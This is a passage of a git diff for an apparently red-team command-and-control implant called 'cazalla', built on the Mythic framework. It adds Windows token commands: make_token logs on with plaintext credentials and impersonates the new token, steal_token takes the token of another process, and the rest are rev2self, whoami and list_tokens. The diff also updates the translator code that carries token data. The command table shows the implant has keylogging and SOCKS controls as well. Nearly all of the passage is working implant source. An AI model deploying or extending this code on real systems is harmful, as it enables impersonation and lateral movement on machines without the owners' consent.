logon_type = (UINT32)atoi(logon_type_buffer); + _inf("[make_token] logon_type string recibido: '%.*s', convertido a: %lu", (int)logon_type_len, logon_type_str, logon_type); + if (logon_type_str) { + LocalFree(logon_type_str); + } + } else { + _wrn("[make_token] No se pudo leer logon_type, usando default: 9"); + } + } + + // Convert empty domain, ".", or "\" to local computer name for local users + // LogonUserA requires the hostname (computer name) for local users, not NULL + PCHAR domain_for_logon = domain; + BOOL is_local_user = FALSE; + CHAR computer_name[MAX_COMPUTERNAME_LENGTH + 1] = {0}; + DWORD computer_name_len = sizeof(computer_name); + + // Check if this is a local user: + // - domain is NULL + // - domain is empty string (length 0 or strlen == 0) + // - domain is "." or "\" or "\\" (single or double backslash) + BOOL is_empty_or_local = FALSE; + if (!domain) { + is_empty_or_local = TRUE; + _inf("[make_token] Dominio es NULL, usuario local detectado"); + } else { + _inf("[make_token] Dominio recibido: '%s' (length=%zu, strlen=%zu)", domain, domain_len, strlen(domain)); + if (domain_len == 0 || strlen(domain) == 0) { + is_empty_or_local = TRUE; + _inf("[make_token] Dominio está vacío (length=%zu), usuario local detectado", domain_len); + } else if (strcmp(domain, ".") == 0 || strcmp(domain, "\\") == 0 || strcmp(domain, "\\\\") == 0) { + is_empty_or_local = TRUE; + _inf("[make_token] Dominio es '.' o '\\' o '\\\\', usuario local detectado"); + } + } + + if (is_empty_or_local) { + // Get computer name for local user logon + if (GetComputerNameA(computer_name, &computer_name_len)) { + domain_for_logon = computer_name; + is_local_user = TRUE; + _inf("[make_token] Usuario local detectado, usando nombre del equipo '%s' como dominio", computer_name); + } else { + _err("[make_token] Error: No se pudo obtener nombre del equipo. Código: %lu", GetLastError()); + domain_for_logon = NULL; // Fallback - will likely fail but try anyway + is_local_user = TRUE; + } + } + + // LOGON32_LOGON_NEW_CREDENTIALS (9) requires a valid domain + // Since we're using the hostname (computer name) as the domain, NEW_CREDENTIALS (9) should work + // However, if running from SYSTEM context, INTERACTIVE (2) might be needed + // Keep the original logon_type - don't automatically adjust it + // The hostname is a valid domain, so NEW_CREDENTIALS (9) should work + + _inf("[make_token] nbArg=%lu, logon_type=%lu (hostname='%s' como dominio)", nbArg, logon_type, domain_for_logon ? domain_for_logon : "NULL"); + _inf("[make_token] Creando token para: %s\\%s (LogonType: %lu)", domain_for_logon ? domain_for_logon : "(local)", user ? user : "(null)", logon_type); + + // Save current impersonation token to restore if LogonUserA fails + HANDLE previousToken = gImpersonationToken; + BOOL hadImpersonation = (previousToken != NULL); + + // Revert any existing impersonation before attempting new logon + if (gImpersonationToken) { + RevertToSelf(); + // Don't close previousToken yet - we might need to restore it + gImpersonationToken = NULL; + } + + HANDLE hToken = NULL; + DWORD provider = (logon_type == 9) ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT; // LOGON32_LOGON_NEW_CREDENTIALS = 9 + + _inf("[make_token] Llamando LogonUserA(user='%s', domain=%s, password='%s', logon_type=%lu, provider=%lu)", + user ? user : "(null)", + domain_for_logon ? domain_for_logon : "NULL", + password ? (strlen(password) > 0 ? "[SET]" : "[EMPTY]") : "(null)", + logon_type, provider); + + if (!LogonUserA(user, domain_for_logon, password, logon_type, provider, &hToken)) { + DWORD error = GetLastError(); + _err("[make_token] LogonUserA falló. Código: %lu (ERROR_INVALID_PARAMETER=87, ERROR_LOGON_FAILURE=1326)", error); + + // Provide helpful error messages for common cases + if (error == 87) { + _err("[make_token] ERROR_INVALID_PARAMETER (87): Verifica logon_type y provider. Para usuarios locales, usa logon_type=2 (INTERACTIVE)"); + } else if (error == 1326) { + _err("[make_token] ERROR_LOGON_FAILURE (1326): Credenciales incorrectas o usuario no existe"); + _err("[make_token] Sugerencia: Verifica que el usuario '%s' existe y que la contraseña es correcta", user ? user : "(null)"); + if (is_local_user) { + _err("[make_token] Para usuarios locales, asegúrate de usar el nombre del equipo como dominio (ej: '%s\\%s')", domain_for_logon ? domain_for_logon : "HOSTNAME", user ? user : "USER"); + } + } else if (error == 1311) { + _err("[make_token] ERROR_NO_SUCH_LOGON_SESSION (1311): No hay sesión de logon disponible"); + } else if (error == 1392) { + _err("[make_token] ERROR_INVALID_NETNAME (1392): El formato del nombre de usuario o dominio es incorrecto"); + } + + // Restore previous impersonation if it existed + if (hadImpersonation && previousToken) { + _inf("[make_token] Restaurando impersonación anterior tras fallo"); + if (ImpersonateLoggedOnUser(previousToken)) { + gImpersonationToken = previousToken; + _inf("[make_token] Impersonación anterior restaurada"); + } else { + _wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token"); + CloseHandle(previousToken); + } + } else if (previousToken) { + // Had token but couldn't restore, close it + CloseHandle(previousToken); + } + + LocalFree(domain); + LocalFree(user); + LocalFree(password); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo crear token. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Try to impersonate the newly created token + if (!ImpersonateLoggedOnUser(hToken)) { + DWORD error = GetLastError(); + CloseHandle(hToken); + _err("[make_token] No se pudo impersonar token. Código: %lu", error); + + // Restore previous impersonation if it existed + if (hadImpersonation && previousToken) { + _inf("[make_token] Restaurando impersonación anterior tras fallo de ImpersonateLoggedOnUser"); + if (ImpersonateLoggedOnUser(previousToken)) { + gImpersonationToken = previousToken; + _inf("[make_token] Impersonación anterior restaurada"); + } else { + _wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token"); + CloseHandle(previousToken); + } + } else if (previousToken) { + // Had token but couldn't restore, close it + CloseHandle(previousToken); + } + + LocalFree(domain); + LocalFree(user); + LocalFree(password); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo impersonar. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Successfully impersonated new token, now safe to close previous token + if (previousToken) { + CloseHandle(previousToken); + } + + // Store token + gImpersonationToken = hToken; + + // Get account name + HANDLE hCurrentProcess = GetCurrentProcess(); + HANDLE hProcessToken = NULL; + char account_name[512] = {0}; + if (OpenProcessToken(hCurrentProcess, TOKEN_QUERY, &hProcessToken)) { + obtenerNombreDelToken(hCurrentProcess, account_name, sizeof(account_name)); + CloseHandle(hProcessToken); + } + CloseHandle(hCurrentProcess); + + if (account_name[0] == '\0') { + // Ensure domain and user are valid before using them + const char* domain_safe = domain ? domain : ""; + const char* user_safe = user ? user : ""; + snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe); + } + + // Generate token_id (simple hash of user+domain) + // Use existing domain_len and user_len variables (they were set by getString) + // If needed, recalculate lengths using strlen for actual string length (not buffer length) + SIZE_T actual_user_len = user ? strlen(user) : 0; + SIZE_T actual_domain_len = domain ? strlen(domain) : 0; + UINT32 token_id = 1000 + (UINT32)(actual_user_len + actual_domain_len); // Simple ID generation + + char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0}; + DWORD hostname_len = sizeof(hostname); + GetComputerNameA(hostname, &hostname_len); + + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaFinal, tareaUuid, FALSE); + PPaquete salidaFinal = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaFinal, FALSE, "[make_token] Token creado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id); + addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE); + + // Add artifact for token creation + char artifact_msg[512] = {0}; + const char* domain_safe = domain ? domain : ""; + const char* user_safe = user ? user : ""; + snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type); + addArtifact(respuestaFinal, "Token Creation", artifact_msg); + + // Register token with callback + addCallbackToken(respuestaFinal, "add", hostname, token_id); + + mandarPaquete(respuestaFinal); + liberarPaquete(salidaFinal); + liberarPaquete(respuestaFinal); + + LocalFree(domain); + LocalFree(user); + LocalFree(password); +} + +/** + * @brief Revert token impersonation back to original + */ +VOID RevertirToken(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + UINT32 nbArg = getInt32(argumentos); + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + if (gImpersonationToken) { + RevertToSelf(); + CloseHandle(gImpersonationToken); + gImpersonationToken = NULL; + + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, tareaUuid, FALSE); + PPaquete salida = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + } else { + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, tareaUuid, FALSE); + PPaquete salida = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salida, FALSE, "[rev2self] No hay token impersonado para revertir\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + } +} + +/** + * @brief Get current user context (whoami) + * Shows the current thread's impersonated user, or process user if not impersonated + * This is useful to verify that steal_token/make_token worked correctly + */ +VOID ObtenerUsuarioActual(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + UINT32 nbArg = getInt32(argumentos); + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, tareaUuid, FALSE); + PPaquete salida = nuevoPaquete(0, FALSE); + + HANDLE hToken = NULL; + char user_info[512] = {0}; + BOOL got_user = FALSE; + + // Try to get thread token first (if impersonated) + if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) { + _inf("[whoami] Usando thread token (impersonado)"); + got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info)); + CloseHandle(hToken); + } else { + DWORD error = GetLastError(); + if (error == ERROR_NO_TOKEN) { + // No thread token, try process token + _inf("[whoami] No hay thread token, usando process token"); + if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info)); + CloseHandle(hToken); + } else { + _wrn("[whoami] No se pudo abrir process token. Código: %lu", GetLastError()); + } + } else { + _wrn("[whoami] Error abriendo thread token. Código: %lu", error); + } + } + + if (got_user && strlen(user_info) > 0) { + PackageAddFormatPrintf(salida, FALSE, "%s\n", user_info); + } else { + PackageAddFormatPrintf(salida, FALSE, "[whoami] Error: No se pudo obtener información del usuario\n"); + } + + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.h new file mode 100644 index 0000000..eb1cf06 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.h @@ -0,0 +1,23 @@ +#pragma once + +#ifndef TOKENS_H +#define TOKENS_H + +#include "analizador.h" +#include "paquete.h" + +// Token command codes (must match translator) +#define LIST_TOKENS_CMD 0x32 +#define STEAL_TOKEN_CMD 0x33 +#define MAKE_TOKEN_CMD 0x34 +#define REV2SELF_CMD 0x35 + +// Forward declarations +VOID ListarTokens(PAnalizador argumentos); +VOID RobarToken(PAnalizador argumentos); +VOID CrearToken(PAnalizador argumentos); +VOID RevertirToken(PAnalizador argumentos); +VOID ObtenerUsuarioActual(PAnalizador argumentos); + +#endif + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py b/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py new file mode 100644 index 0000000..4f0f330 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py @@ -0,0 +1,37 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class ListTokensArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + pass + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class ListTokensCommand(CommandBase): + cmd = "list_tokens" + needs_admin = False + help_cmd = "list_tokens" + description = "List all available tokens from running processes" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = ListTokensArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + response.DisplayParams = "Listing all available tokens..." + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/make_token.py b/Payload_Type/cazalla/cazalla/agent_functions/make_token.py new file mode 100644 index 0000000..99ae97e --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/make_token.py @@ -0,0 +1,93 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class MakeTokenArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="domain", + type=ParameterType.String, + description="Domain of the account credentials (e.g., acme.corp or empty for local)", + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=1 + )] + ), + CommandParameter( + name="username", + type=ParameterType.String, + description="Username of the account", + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=2 + )] + ), + CommandParameter( + name="password", + type=ParameterType.String, + description="The plaintext password for the account", + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=3 + )] + ), + CommandParameter( + name="logon_type", + type=ParameterType.Number, + default_value=9, + description="Logon type (default: 9 = LOGON32_LOGON_NEW_CREDENTIALS)", + parameter_group_info=[ParameterGroupInfo( + required=False, + ui_position=4 + )] + ), + ] + + async def parse_arguments(self): + parts = self.command_line.split(" ", 2) + if len(parts) < 3: + raise ValueError("Must supply domain, username, and password: make_token [logon_type]") + + self.add_arg("domain", parts[0]) + self.add_arg("username", parts[1]) + self.add_arg("password", parts[2]) + + if len(parts) > 3: + try: + self.add_arg("logon_type", int(parts[3])) + except ValueError: + self.add_arg("logon_type", 9) + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + if not self.get_arg("logon_type"): + self.add_arg("logon_type", 9) + + +class MakeTokenCommand(CommandBase): + cmd = "make_token" + needs_admin = False + help_cmd = "make_token [logon_type]" + description = "Create a token and impersonate it using plaintext credentials" + version = 1 + author = "@KaseyaOFSTeam" + attackmapping = ["T1134.003"] + argument_class = MakeTokenArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + domain = taskData.args.get_arg("domain") or "" + username = taskData.args.get_arg("username") + logon_type = taskData.args.get_arg("logon_type") or 9 + response.DisplayParams = f"Creating token for {domain}\\{username} (logon_type: {logon_type})" + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py b/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py new file mode 100644 index 0000000..3e8e293 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py @@ -0,0 +1,38 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class Rev2SelfArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + pass + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class Rev2SelfCommand(CommandBase): + cmd = "rev2self" + needs_admin = False + help_cmd = "rev2self" + description = "Revert token impersonation back to original token" + version = 1 + author = "@KaseyaOFSTeam" + attackmapping = ["T1134.001"] + argument_class = Rev2SelfArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + response.DisplayParams = "Reverting to original token..." + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py b/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py new file mode 100644 index 0000000..7dbd26c --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py @@ -0,0 +1,54 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class StealTokenArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="pid", + type=ParameterType.Number, + description="Process ID to steal token from", + parameter_group_info=[ParameterGroupInfo( + required=True, + ui_position=1 + )] + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a PID") + try: + self.add_arg("pid", int(self.command_line)) + except ValueError: + raise ValueError("PID must be a number") + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class StealTokenCommand(CommandBase): + cmd = "steal_token" + needs_admin = False + help_cmd = "steal_token " + description = "Steal and impersonate the token of a target process" + version = 1 + author = "@KaseyaOFSTeam" + attackmapping = ["T1134.001"] + argument_class = StealTokenArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + pid = taskData.args.get_arg("pid") + response.DisplayParams = f"Stealing token from PID: {pid}" + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_functions/whoami.py b/Payload_Type/cazalla/cazalla/agent_functions/whoami.py new file mode 100644 index 0000000..b3aaf0b --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/whoami.py @@ -0,0 +1,38 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * + + +class WhoamiArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + pass + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) + + +class WhoamiCommand(CommandBase): + cmd = "whoami" + needs_admin = False + help_cmd = "whoami" + description = "Get current user context (thread token if impersonated, otherwise process token). Useful to verify steal_token/make_token worked correctly." + version = 1 + author = "@KaseyaOFSTeam" + attackmapping = ["T1083"] + argument_class = WhoamiArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + response.DisplayParams = "Getting current user context..." + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index f2bbc71..716a36f 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -21,6 +21,12 @@ commands = { # Keylogging controls "keylog_start": {"hex_code": 0x30, "input_type": None}, "keylog_stop": {"hex_code": 0x31, "input_type": None}, + # Token commands + "list_tokens": {"hex_code": 0x32, "input_type": None}, + "steal_token": {"hex_code": 0x33, "input_type": "string"}, + "make_token": {"hex_code": 0x34, "input_type": "string"}, + "rev2self": {"hex_code": 0x35, "input_type": None}, + "whoami": {"hex_code": 0x36, "input_type": None}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, @@ -50,6 +56,14 @@ def responseTasking(tasks): if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps" print("[DEBUG] Entrando en rama input_type=None") data = command_code + task_id_serialized + + # Check if task has a token associated (for token tasking) + if "token" in task and task["token"] is not None: + token_id = task["token"] + print(f"[DEBUG] Task has token_id: {token_id}") + # Add token_id as UINT32 (4 bytes, big-endian) + data += token_id.to_bytes(4, "big") + task_size = len(data) print(f"[DEBUG] Tamaño de tarea: {task_size}") print(f"[DEBUG] Datos de tarea (hex): {data.hex()}") @@ -60,6 +74,7 @@ def responseTasking(tasks): elif commands[command_to_run]["input_type"] == "string": data = command_code + task_id + if task["parameters"] != "": parameters = json.loads(task["parameters"]) # Normalize paths for upload and ls commands - replace double backslashes @@ -89,6 +104,13 @@ def responseTasking(tasks): else: data += b"\x00\x00\x00\x00" + # Check if task has a token associated (for token tasking) - add after parameters + if "token" in task and task["token"] is not None: + token_id = task["token"] + print(f"[DEBUG] Task has token_id: {token_id}") + # Add token_id as UINT32 (4 bytes, big-endian) after parameters + data += token_id.to_bytes(4, "big") + dataTask += len(data).to_bytes(4, "big") + data elif commands[command_to_run]["input_type"] == "int": diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py index d41f14d..be861f5 100644 --- a/Payload_Type/cazalla/translator/commands_from_implant.py +++ b/Payload_Type/cazalla/translator/commands_from_implant.py @@ -315,64 +315,104 @@ def postResponse(data): resTaks = [] # The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...] - # But the logs show it starts with output_len, so UUID might be missing # Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23 uuidTask = None offset = 0 - # Check if data starts with output_len (4 bytes, can be 0-4294967295, likely < 10MB for text output) - # If first 4 bytes look like a length (reasonable size), UUID might not be here - potential_len = None - if len(data) >= 4: - potential_len = int.from_bytes(data[0:4], 'big') - print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}") - - # If potential_len looks reasonable (< 10MB), data might start directly with output_len - # This means UUID was already removed - we'll need to get it from somewhere else - if potential_len is not None and potential_len < 10 * 1024 * 1024 and potential_len > 0: - print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí") - # The UUID is missing from the packet - this is a protocol issue - # For now, use a placeholder and let Mythic handle it - uuidTask = b"00000000-0000-0000-0000-000000000000" - offset = 0 - print("[WARN] UUID de tarea no está en el paquete - problema de protocolo") - else: - # Try to find UUID starting at offset 0 - if len(data) >= 36: - potential_uuid = data[offset:offset+36] - try: - uuid_str = potential_uuid.decode('ascii') - # Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) - if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-': + # ALWAYS try to find UUID first (before checking for length) + # UUID has format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (36 bytes) + # UUID pattern is very distinctive: 8 hex chars, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex + # If we find a valid UUID pattern, it takes precedence over length interpretation + # Try at offset 0 first + if len(data) >= 36: + potential_uuid = data[0:36] + try: + uuid_str = potential_uuid.decode('ascii', errors='replace') + # Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) + # UUID pattern: 8 hex, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex + # Also check that the hyphens are at the correct positions + if (len(uuid_str) == 36 and + uuid_str[8] == '-' and uuid_str[13] == '-' and + uuid_str[18] == '-' and uuid_str[23] == '-' and + all(c in '0123456789abcdefABCDEF-' for c in uuid_str)): + # Additional validation: ensure we have hex digits before each dash + is_valid_uuid = ( + all(c in '0123456789abcdefABCDEF' for c in uuid_str[0:8]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[9:13]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[14:18]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[19:23]) and + all(c in '0123456789abcdefABCDEF' for c in uuid_str[24:36]) + ) + if is_valid_uuid: + # If it matches UUID pattern, trust it (UUID pattern is more reliable than length guess) + # UUIDs can have their first 4 bytes interpreted as any int value, so we can't use that to filter uuidTask = potential_uuid offset = 36 print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}") - except: - pass + except Exception as e: + print(f"[DEBUG] Error al validar UUID en offset 0: {e}") + pass + + # If not found at offset 0, try at offset 36 (might be UUID agente at offset 0) + if not uuidTask and len(data) >= 72: + potential_uuid = data[36:72] + try: + uuid_str = potential_uuid.decode('ascii') + if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and + uuid_str[18] == '-' and uuid_str[23] == '-' and + all(c in '0123456789abcdefABCDEF-' for c in uuid_str)): + uuidTask = potential_uuid + offset = 72 + print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}") + except: + pass + + # If still not found, check if data starts with a reasonable length + # In this case, UUID might be missing (protocol issue) + if not uuidTask and len(data) >= 4: + potential_len = int.from_bytes(data[0:4], 'big') + print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}") - # If not found, try at offset 36 (might be UUID agente at offset 0) - if not uuidTask and len(data) >= 72: - potential_uuid = data[36:72] - try: - uuid_str = potential_uuid.decode('ascii') - if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-': - uuidTask = potential_uuid - offset = 72 - print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}") - except: - pass - - if not uuidTask: - print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder") + # If potential_len looks reasonable (< 10MB), data might start directly with output_len + if potential_len < 10 * 1024 * 1024 and potential_len > 0: + print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí") + print("[WARN] UUID de tarea no está en el paquete - problema de protocolo") uuidTask = b"00000000-0000-0000-0000-000000000000" offset = 0 + if not uuidTask: + print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder") + uuidTask = b"00000000-0000-0000-0000-000000000000" + offset = 0 + data = data[offset:] - # Extract output, but handle case where output might be empty (e.g., download chunks) - output, data = getBytesWithSize(data) - - print(f"Tamaño después de extraer UUID: {len(data)} bytes") + # Extract output using getBytesWithSize + # Format after UUID: [output_len(4)][output][marcadores...] + # Even if output is empty, output_len will be present as 4 bytes (0x00000000) + output = b"" + remaining_data = data + + if len(data) >= 4: + # Always read output_len (4 bytes) and then output + output, remaining_data = getBytesWithSize(data) + print(f"[PARSER] Output extraído: {len(output)} bytes, remaining: {len(remaining_data)} bytes") + + # Verify that remaining_data starts with a marker if we expect markers + # This helps detect protocol issues + if len(remaining_data) > 0: + KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3} + if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0: + # This might be part of the output that wasn't properly extracted + # This could happen if output_len was incorrectly interpreted + print(f"[WARN] remaining_data no empieza con marcador conocido (0x{remaining_data[0]:02X})") + else: + # Not enough data for output_len + print(f"[PARSER] Datos insuficientes después del UUID ({len(data)} bytes)") + output = b"" + remaining_data = data + + print(f"Tamaño después de extraer UUID y output: {len(remaining_data)} bytes") print(f"Tamaño del output extraído: {len(output)} bytes") # Parse artifacts, credentials, and downloads @@ -387,8 +427,13 @@ def postResponse(data): download_chunk = None upload_request = None commands_data = [] + tokens_data = [] + callback_tokens_data = [] keylogs_data = [] - remaining_data = data + + print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes") + if len(remaining_data) > 0: + print(f"[PARSER] Primer byte de remaining_data: 0x{remaining_data[0]:02X}") while len(remaining_data) >= 5: # At least: marker (1) + type_len (4) if remaining_data[0] == 0xFF: @@ -763,6 +808,177 @@ def postResponse(data): }) print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}") remaining_data = remaining_data[offset:] + elif remaining_data[0] == 0xF4: + # Token marker found + # Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] + offset = 1 + + if len(remaining_data) < offset + 4: + break + + token_id = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + def read_string_field(): + nonlocal offset + if len(remaining_data) < offset + 4: + return None + 